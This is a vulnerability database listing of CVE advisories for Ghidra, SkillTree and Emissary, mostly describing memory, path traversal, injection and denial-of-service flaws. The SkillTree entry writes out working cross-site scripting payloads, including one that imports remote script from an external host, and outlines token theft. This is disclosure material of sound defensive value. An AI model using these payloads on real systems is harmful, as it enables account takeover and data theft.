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38 vulnerabilities found for by NationalSecurityAgency

CVE-2026-116012 (GCVE-0-2026-116012)
Vulnerability from cvelistv5
Published
2026-10-24 11:40
Modified
2026-10-24 11:40
CWE
  • CWE-197 - Numeric Truncation Error
Summary
Ghidra before 12.2 contains a numeric truncation vulnerability in PackedDecode::skipAttribute and skipAttributeRemaining in marshal.cc that stores 64-bit string lengths in 32-bit variables. Attackers can supply a crafted packed stream, such as a malicious .sla file, to inject attributes into the decompiler's input or crash the decompiler process.
Impacted products
Vendor Product Version
NationalSecurityAgency ghidra Version: 0   < 12.2
Create a notification for this product.
Show details on NVD website


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CVE-2026-115503 (GCVE-0-2026-115503)
Vulnerability from cvelistv5
Published
2026-10-22 19:14
Modified
2026-10-22 19:14
CWE
  • CWE-409 - Improper Handling of Highly Compressed Data (Data Amplification)
Summary
Ghidra before 12.2 contains an improper handling of highly compressed data vulnerability in ExtensionUtils.unzipToInstallationFolder() that allows attackers to exhaust disk space. Attackers can persuade users to install a crafted zip bomb extension archive that expands without size limits, causing later writes by Ghidra and other applications to fail.
Impacted products
Vendor Product Version
NationalSecurityAgency ghidra Version: 0   < 12.2
Create a notification for this product.
Show details on NVD website


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CVE-2026-115398 (GCVE-0-2026-115398)
Vulnerability from cvelistv5
Published
2026-10-22 19:14
Modified
2026-10-23 15:00
CWE
  • CWE-770 - Allocation of Resources Without Limits or Throttling
Summary
Ghidra before 12.2 contains a resource allocation without limits vulnerability in FileSystemIndexHelper used by TarFileSystem and ZipFileSystem, which store unbounded archive entries. Attackers can persuade a user to open or batch-import a crafted TAR or ZIP archive with excessive entries to exhaust the Java heap and hang the session.
Impacted products
Vendor Product Version
NationalSecurityAgency ghidra Version: 0   < 12.2
Create a notification for this product.
Show details on NVD website


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CVE-2026-115397 (GCVE-0-2026-115397)
Vulnerability from cvelistv5
Published
2026-10-22 19:14
Modified
2026-10-22 19:14
CWE
  • CWE-770 - Allocation of Resources Without Limits or Throttling
Summary
Ghidra before 12.2 contains a resource allocation without limits vulnerability in ExtensionUtils.unzipToInstallationFolder() that extracts every extension ZIP entry without limiting file count. Attackers who persuade a user to install a crafted extension archive with many files can exhaust filesystem inodes, causing project writes and other processes to fail.
Impacted products
Vendor Product Version
NationalSecurityAgency ghidra Version: 0   < 12.2
Create a notification for this product.
Show details on NVD website


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CVE-2026-115396 (GCVE-0-2026-115396)
Vulnerability from cvelistv5
Published
2026-10-22 19:14
Modified
2026-10-29 02:33
CWE
  • CWE-409 - Improper Handling of Highly Compressed Data (Data Amplification)
Summary
Ghidra 10.3 before 12.2 contains an improper handling of highly compressed data vulnerability in ThemeReader.processIconFile() that fails to limit decompressed size or compression ratio. Attackers can persuade a user to import a crafted theme ZIP whose icon entries expand to fill the host filesystem, causing later writes to fail.
Impacted products
Vendor Product Version
NationalSecurityAgency ghidra Version: 10.3   < 12.2
Create a notification for this product.
Show details on NVD website


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CVE-2026-115395 (GCVE-0-2026-115395)
Vulnerability from cvelistv5
Published
2026-10-22 19:14
Modified
2026-10-22 19:14
CWE
  • CWE-770 - Allocation of Resources Without Limits or Throttling
Summary
Ghidra 10.3 before 12.2 contains a resource allocation without limits vulnerability in ThemeReader.readZipTheme() that extracts unlimited theme ZIP entries to the images directory. Attackers can persuade users to import a crafted theme archive with many small files, exhausting inodes and disk space to deny service to the host.
Impacted products
Vendor Product Version
NationalSecurityAgency ghidra Version: 10.3   < 12.2
Create a notification for this product.
Show details on NVD website


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CVE-2026-115394 (GCVE-0-2026-115394)
Vulnerability from cvelistv5
Published
2026-10-22 19:14
Modified
2026-10-23 15:00
CWE
  • CWE-789 - Memory Allocation with Excessive Size Value
Summary
Ghidra through 12.2 contains an uncontrolled memory allocation vulnerability in BinaryField.read() that allows attackers to exhaust heap memory via an unchecked 32-bit length field. Attackers can persuade users to import a crafted GZF packed database file, triggering an OutOfMemoryError in PackedDatabase.open() that aborts the import and denies service.
Impacted products
Show details on NVD website


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CVE-2026-113604 (GCVE-0-2026-113604)
Vulnerability from cvelistv5
Published
2026-10-20 15:40
Modified
2026-10-20 16:19
CWE
  • CWE-789 - Memory Allocation with Excessive Size Value
Summary
Ghidra 10.2 through 12.1.4 contains a denial of service vulnerability in the ELF loader's ElfHeader class that allocates arrays sized by unvalidated extended section and program header counts. Attackers can supply a crafted 128-byte ELF file that triggers an OutOfMemoryError during load-spec discovery at import or in headless analysis pipelines.
Impacted products
Show details on NVD website


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CVE-2026-100505 (GCVE-0-2026-100505)
Vulnerability from cvelistv5
Published
2026-09-26 00:36
Modified
2026-10-05 14:55
CWE
Summary
Ghidra versions 9.2 through 12.1.4 contain a heap out-of-bounds read vulnerability in StringManager::getCodepoint when decoding multi-byte UTF-8, UTF-16, or UTF-32 characters without validating remaining buffer length. Attackers can craft malicious binaries containing strings or constant byte stores that end in multi-byte lead units to trigger out-of-bounds reads that crash the decompiler or leak adjacent heap memory into decompiled output.
Impacted products
Show details on NVD website


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CVE-2026-100504 (GCVE-0-2026-100504)
Vulnerability from cvelistv5
Published
2026-09-26 00:36
Modified
2026-10-22 09:48
CWE
Summary
Ghidra versions through 12.1.4 contain a stack-based out-of-bounds write vulnerability in the decompiler's leftshift128 function when processing negative shift amounts from p-code. Attackers can craft malicious binaries with specific instruction sequences that trigger the overflow when decompiled, corrupting memory and potentially achieving code execution.
Impacted products
Show details on NVD website


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CVE-2026-100503 (GCVE-0-2026-100503)
Vulnerability from cvelistv5
Published
2026-09-26 00:36
Modified
2026-10-22 09:48
CWE
Summary
Ghidra versions through 12.1.4 contain a heap use-after-free vulnerability in the decompiler's Funcdata::opInsertAfter function caused by stale INDIRECT effect-op references. Attackers can craft a malicious binary with a specific x86-64 sequence that triggers the vulnerability during decompilation, causing the decompile helper process to crash and denying service to analysts and automated analysis pipelines.
Impacted products
Show details on NVD website


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CVE-2026-96273 (GCVE-0-2026-96273)
Vulnerability from cvelistv5
Published
2026-09-23 00:29
Modified
2026-09-28 16:18
CWE
  • CWE-460 - Improper Cleanup on Thrown Exception
  • CWE-667 - Improper Locking
Summary
Ghidra before 12.1.4 fails to validate the TYPE_COL byte in OptionsDB.createUnregisteredOption(), causing an ArrayIndexOutOfBoundsException that leaves domain objects permanently locked. Attackers can craft a malicious program database file that, when imported, causes the application to stall and prevents resource cleanup or graceful shutdown.
Impacted products
Show details on NVD website


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CVE-2026-54694 (GCVE-0-2026-54694)
Vulnerability from cvelistv5
Published
2026-09-09 18:44
Modified
2026-09-10 16:02
Severity ?
CWE
  • CWE-20 - Improper Input Validation
  • CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  • CWE-116 - Improper Encoding or Escaping of Output
  • CWE-183 - Permissive List of Allowed Inputs
  • CWE-693 - Protection Mechanism Failure
Summary
SkillTree is a micro-learning gamification platform. Prior to version 4.4.2, two independent code flaws combine into a single exploitable attack chain, with three distinct exploitation paths of escalating impact. `StringHighlighter.js` builds an HTML string by interpolating raw `value` substrings directly into a template literal with no HTML entity encoding. `HighlightedValue.vue` renders that string — and all unfiltered plain values — via Vue's `v-html` directive, which sets `innerHTML`. Separately, the account registration endpoint accepts `firstName`, `lastName`, and `nickname` fields and stores them without any HTML sanitization. An attacker self-registers with `firstName = "<img src=x onerror=alert(1)>"` (28 characters — within the 30-character field limit) and visits any quiz. The next time an administrator opens the Quiz Runs page the payload executes in their browser. Three attack paths exist with escalating impact. The first is basic cross-site scripting. Any self-contained payload fitting the 30-character limit (e.g. `<img src=x onerror=alert(1)>`, which is 28 chars) fires automatically when the admin navigates to the runs page through normal use. Arbitrary code execution in the admin's browser is confirmed with zero extra steps. The second is remote script loading via `import()`. Using the split-field technique (`lastName = "<img src=x"`, `firstName = "onerror=import('//nsas.cc/p')>"`), the attacker loads a full JavaScript file from their server. The file has no size limit and can perform any admin action — delete all projects, create backdoor accounts, dump user data, install a keylogger. No phishing required. The only constraint is that the URL must fit in 11 characters (`//nsas.cc/p`). The third is full cross-site request forgery token theft. Using `eval(name)`, the attacker pre-sets `window.name` to a data-theft payload by sending the admin one redirect link first. The session cookie is `HttpOnly` and cannot be read via `document.cookie`; however, the XSRF token is readable and the attacker leverages same-origin execution to call admin APIs from inside the victim's browser, relaying the responses to an external server. No admin interaction beyond routine use is required. Version 4.4.2 contains a patch.
Impacted products
Show details on NVD website


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CVE-2026-54389 (GCVE-0-2026-54389)
Vulnerability from cvelistv5
Published
2026-08-20 22:02
Modified
2026-10-01 15:20
CWE
  • CWE-770 - Allocation of Resources Without Limits or Throttling
Summary
Ghidra before 12.1.3 contains an uncontrolled resource consumption vulnerability in the PDB parser that allows attackers to terminate the Ghidra process by supplying a crafted PDB file with an oversized parameters section. The AbstractPdb deserialization routine reads all remaining parameters into an unbounded list, causing uncontrolled heap growth that triggers an OutOfMemoryError which bypasses exception handling and crashes the application.
Impacted products
Show details on NVD website


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CVE-2026-52758 (GCVE-0-2026-52758)
Vulnerability from cvelistv5
Published
2026-06-10 12:42
Modified
2026-07-14 21:33
CWE
  • CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Summary
Ghidra before 12.1 contains a SQL injection vulnerability in BSim filter types that concatenate user-supplied values directly into SQL queries without escaping or parameterization. Remote attackers can inject arbitrary SQL via the BSim network query protocol to read, modify, or delete data in the PostgreSQL database.
Impacted products
Vendor Product Version
nationalsecurityagency ghidra Version: 11.0   < 12.1
Patch: 12.1
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Show details on NVD website


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CVE-2026-52757 (GCVE-0-2026-52757)
Vulnerability from cvelistv5
Published
2026-06-10 12:42
Modified
2026-07-14 21:33
CWE
Summary
Ghidra before 12.1 contains a heap-use-after-free vulnerability in the decompiler's HighVariable::merge() function during the variable merging pass. Attackers can trigger this vulnerability by crafting a binary that causes stale pointers in the HighIntersectTest::highedgemap cache to be dereferenced, reading and writing the flags field of freed heap memory when a user opens the binary in Ghidra's decompiler view.
Impacted products
Vendor Product Version
nationalsecurityagency ghidra Version: 0   < 12.1
Patch: 12.1
Create a notification for this product.
Show details on NVD website


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CVE-2026-52756 (GCVE-0-2026-52756)
Vulnerability from cvelistv5
Published
2026-06-10 12:41
Modified
2026-07-14 21:33
CWE
  • CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Summary
Ghidra before 12.2 contains an unauthenticated path traversal vulnerability in the IsfServer that accepts TCP connections and passes client-supplied namespace strings directly to filesystem operations without validation. Remote attackers can connect to port 54321 and send crafted protobuf messages with traversal sequences to enumerate filesystem paths and probe arbitrary files.
Impacted products
Vendor Product Version
nationalsecurityagency ghidra Version: 0   < 12.2
Patch: 12.2
Create a notification for this product.
Show details on NVD website


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CVE-2026-52755 (GCVE-0-2026-52755)
Vulnerability from cvelistv5
Published
2026-06-10 12:41
Modified
2026-07-14 21:33
CWE
  • CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Summary
Ghidra before 12.0.4 contains a path traversal vulnerability in the theme import functionality that allows attackers to write files outside the intended theme directory. Attackers can craft malicious theme ZIP files with traversal sequences in filenames to execute arbitrary code or modify sensitive files like .bashrc or .ssh/authorized_keys.
Impacted products
Show details on NVD website


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CVE-2026-52754 (GCVE-0-2026-52754)
Vulnerability from cvelistv5
Published
2026-06-10 12:40
Modified
2026-07-14 21:33
CWE
  • CWE-347 - Improper Verification of Cryptographic Signature
Summary
Ghidra before 12.1 contains an authentication bypass vulnerability in PKIAuthenticationModule.authenticate() that allows any user with a valid CA-signed certificate to impersonate other users by presenting their public certificate with a null signature. Attackers can escalate privileges, modify repository access controls, exfiltrate shared reverse engineering databases, and permanently compromise server integrity.
Impacted products
Vendor Product Version
nationalsecurityagency ghidra Version: 0   < 12.1
Patch: 12.1
Create a notification for this product.
Show details on NVD website


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CVE-2026-52753 (GCVE-0-2026-52753)
Vulnerability from cvelistv5
Published
2026-06-10 12:40
Modified
2026-07-14 21:33
CWE
  • CWE-789 - Memory Allocation with Excessive Size Value
Summary
Ghidra before 12.0.3 contains an out-of-memory vulnerability in the rust_demangle function that allocates unbounded output buffers without size limits. Attackers can craft malicious Rust symbol names in binaries to trigger exponential memory allocation, causing process crashes during binary analysis.
Impacted products
Show details on NVD website


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CVE-2026-52752 (GCVE-0-2026-52752)
Vulnerability from cvelistv5
Published
2026-06-10 12:39
Modified
2026-07-14 21:33
CWE
  • CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Summary
Ghidra before 12.0.2 contains a path traversal vulnerability in the extension installer that fails to validate ZIP entry names during extraction. Attackers can craft malicious extensions with traversal sequences like ../ in filenames to write arbitrary files outside the intended directory, enabling code execution.
Impacted products
Show details on NVD website


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CVE-2026-52751 (GCVE-0-2026-52751)
Vulnerability from cvelistv5
Published
2026-06-10 12:39
Modified
2026-07-14 21:33
CWE
  • CWE-502 - Deserialization of Untrusted Data
Summary
Ghidra before 12.1 contains an unsafe deserialization vulnerability in client-side Shared-Project RMI connection code that allows unauthenticated remote code execution. Attackers can craft a malicious project file with a ghidra:// URL that, when opened via File → Open Project, deserializes untrusted objects using a Jython 2.7.4 gadget chain to execute arbitrary commands.
Impacted products
Vendor Product Version
nationalsecurityagency ghidra Version: 0   < 12.1
Patch: 12.1
Create a notification for this product.
Show details on NVD website


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CVE-2026-52750 (GCVE-0-2026-52750)
Vulnerability from cvelistv5
Published
2026-06-10 12:39
Modified
2026-07-14 21:33
CWE
  • CWE-88 - Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Summary
Ghidra before 12.1 contains a command injection vulnerability in URL annotation handling on Windows where cmd.exe metacharacters are not properly escaped. Attackers can execute arbitrary commands under the Ghidra user's privileges by embedding malicious URLs in program comments that victims click.
Impacted products
Vendor Product Version
nationalsecurityagency ghidra Version: 0   < 12.1
Patch: 12.1
Create a notification for this product.
Show details on NVD website


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CVE-2026-49498 (GCVE-0-2026-49498)
Vulnerability from cvelistv5
Published
2026-06-10 12:38
Modified
2026-07-14 21:33
CWE
  • CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Summary
Ghidra 11.0 before 12.1 contains a SQL injection vulnerability in the changePassword() method of PostgresFunctionDatabase that fails to escape double quotes in usernames interpolated into ALTER ROLE statements. Authenticated attackers can inject SQL commands via crafted username parameters in PasswordChange network messages to escalate to PostgreSQL superuser privileges and gain full database control.
Impacted products
Vendor Product Version
nationalsecurityagency ghidra Version: 11.0   < 12.1
Patch: 12.1
Create a notification for this product.
Show details on NVD website


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CVE-2026-49497 (GCVE-0-2026-49497)
Vulnerability from cvelistv5
Published
2026-06-10 12:37
Modified
2026-07-14 21:33
CWE
  • CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Summary
Ghidra before 12.1 contains a path traversal vulnerability in SameDirDebugInfoProvider that fails to validate filenames from ELF binary .gnu_debuglink sections before constructing file paths. Attackers can craft malicious ELF binaries with traversal sequences to probe filesystem existence and leak CRC32 hashes of arbitrary files during automatic DWARF analysis.
Impacted products
Vendor Product Version
nationalsecurityagency ghidra Version: 0   < 12.1
Patch: 12.1
Create a notification for this product.
Show details on NVD website


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CVE-2026-49496 (GCVE-0-2026-49496)
Vulnerability from cvelistv5
Published
2026-06-10 12:37
Modified
2026-07-14 21:33
CWE
Summary
Ghidra before 12.1 contains a heap-use-after-free vulnerability in SleighBuilder::generatePointerAdd caused by iterator invalidation when PcodeCacher::allocateInstruction reallocates the issued vector. Attackers can trigger memory corruption by decompiling malicious binaries through the public Sleigh::oneInstruction C++ API, affecting downstream SLEIGH library consumers.
Impacted products
Vendor Product Version
nationalsecurityagency ghidra Version: 0   < 12.1
Patch: 12.1
Create a notification for this product.
Show details on NVD website


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CVE-2026-49495 (GCVE-0-2026-49495)
Vulnerability from cvelistv5
Published
2026-06-10 12:36
Modified
2026-07-14 21:33
CWE
  • CWE-835 - Loop with Unreachable Exit Condition ('Infinite Loop')
Summary
Ghidra 10.2 before 12.1 contains an uncontrolled resource consumption vulnerability in ExportTrie.parseTrie() that lacks cycle detection when traversing Mach-O binary export tries. A crafted Mach-O binary with circular references in the export trie causes unbounded queue growth and exponential string concatenation, triggering OutOfMemoryError that crashes the entire JVM and loses all unsaved work.
Impacted products
Vendor Product Version
nationalsecurityagency ghidra Version: 10.2   < 12.1
Patch: 12.1
Create a notification for this product.
Show details on NVD website


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CVE-2024-58350 (GCVE-0-2024-58350)
Vulnerability from cvelistv5
Published
2026-06-10 12:36
Modified
2026-07-14 22:54
CWE
  • CWE-758 - Reliance on Undefined, Unspecified, or Implementation-Defined Behavior
Summary
Ghidra before 11.2 contains a use after free vulnerability in the Sleigh backend caused by undefined static initialization order of the SleighArchitecture::translators and XmlArchitectureCapability singletons. Attackers can trigger an infinite loop or denial of service during shutdown by exploiting the unsafe destruction order that causes iteration over deallocated memory.
Impacted products
Vendor Product Version
nationalsecurityagency ghidra Version: 0   < 11.2
Patch: 11.2
Create a notification for this product.
Show details on NVD website


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CVE-2026-35582 (GCVE-0-2026-35582)
Vulnerability from cvelistv5
Published
2026-04-18 01:16
Modified
2026-04-20 15:48
CWE
  • CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • CWE-116 - Improper Encoding or Escaping of Output
Summary
Emissary is a P2P based data-driven workflow engine. In versions 8.42.0 and below, Executrix.getCommand() is vulnerable to OS command injection because it interpolates temporary file paths into a /bin/sh -c shell command string without any escaping or input validation. The IN_FILE_ENDING and OUT_FILE_ENDING configuration keys flow directly into these paths, allowing a place author who can write or modify a .cfg file to inject arbitrary shell metacharacters that execute OS commands in the JVM process's security context. The framework already sanitizes placeName via an allowlist before embedding it in the same shell string, but applies no equivalent sanitization to file ending values. No runtime privileges beyond place configuration authorship, and no API or network access, are required to exploit this vulnerability. This is a framework-level defect with no safe mitigation available to downstream implementors, as Executrix provides neither escaping nor documented preconditions against metacharacters in file ending inputs. This issue has been fixed in version 8.43.0.
Impacted products
Show details on NVD website


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CVE-2026-35583 (GCVE-0-2026-35583)
Vulnerability from cvelistv5
Published
2026-04-07 15:57
Modified
2026-04-09 16:18
CWE
  • CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Summary
Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, the configuration API endpoint (/api/configuration/{name}) validated configuration names using a blacklist approach that checked for \, /, .., and trailing .. This could potentially be bypassed using URL-encoded variants, double-encoding, or Unicode normalization to achieve path traversal and read configuration files outside the intended directory. This vulnerability is fixed in 8.39.0.
Impacted products
Show details on NVD website


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